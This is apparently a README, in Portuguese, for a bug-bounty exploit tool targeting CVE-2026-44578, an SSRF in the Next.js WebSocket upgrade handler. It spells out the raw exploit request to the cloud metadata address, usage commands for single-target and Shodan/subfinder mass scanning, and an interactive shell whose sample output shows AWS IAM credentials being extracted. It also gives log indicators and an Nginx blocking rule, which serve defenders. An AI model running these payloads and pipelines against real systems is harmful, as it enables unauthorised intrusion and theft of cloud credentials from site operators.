
Ferramenta de scanner e exploit CVE-2026-44578 para SSRF no manipulador de upgrade WebSocket do Next.js. Detecta versões vulneráveis, extrai metadados de nuvem e exfiltra credenciais IAM por meio de shell interativo.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Falsificação de Solicitação no Lado do Servidor via Manipulador de Upgrade WebSocket do Next.js
Visão geral · Instalação · Uso · Pipeline · Shodan · Shell interativo · Aviso legal
Em 11 de maio de 2026, a Vercel corrigiu o CVE-2026-44578 (CVSS 8.6): um SSRF não autenticado no manipulador de upgrade WebSocket do Next.js que afeta todas as implantações self-hosted a partir da versão 13.4.13.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
A // em http:// aciona a saída antecipada de normalizeRepeatedSlashes, definindo statusCode: 308 e finished: true. O manipulador de upgrade vulnerável ignora ambas as flags e chama proxyRequest quando parsedUrl.protocol é truthy — encaminhando a requisição via proxy para o host controlado pelo atacante na porta 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| Produto | Vulnerável | Correção |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Hospedado na Vercel | ✅ Não afetado | N/A |
Upgrade: websocket com 400
Credenciais AWS IMDSv1 exfiltradas via CVE-2026-44578 — shell de exploit interativo
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
Zero dependências — apenas stdlib do Python. Requer Python 3.10+.
python3 nextssrf.py -t https://target.com
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force
| Código | Significado |
|---|---|
0 | Não vulnerável / limpo |
1 | Vulnerável (sem exploit) |
2 | SSRF confirmado |
Shell de exploit avançado com detecção automática de nuvem e extração de credenciais IAM:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto
# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
Sinais de exploração nos logs:
# Next.js process logs
Failed to proxy http:/ ← single slash = normalization fingerprint
# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
Somente para testes de segurança autorizados e pesquisas de bug bounty. Use apenas contra sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar. Os autores não são responsáveis pelo uso indevido ou não autorizado. Siga sempre as regras de engajamento do seu programa de bug bounty.
Feito com ❤️ por @mitsec · ynsmroztas.github.io
Top Hacker @ Intigriti · 100+ HOF · 2430+ Vulnerabilidades · 1100+ P1 Críticas
| Comando | Descrição |
|---|
cloud | Detecção automática de nuvem (AWS/Azure/GCP/DO/OCI) |
aws | Cadeia completa de credenciais AWS IAM |
azure | Token de identidade gerenciada do Azure |
scan | Detecção de nuvem + exploit automático |
url <http://> | Requisição SSRF personalizada |
get <N> | Alvo IMDS da AWS por índice |
list | Mostra todos os endpoints IMDS |
history | Histórico de requisições |
save | Exporta a sessão para JSON |
quit | Sair |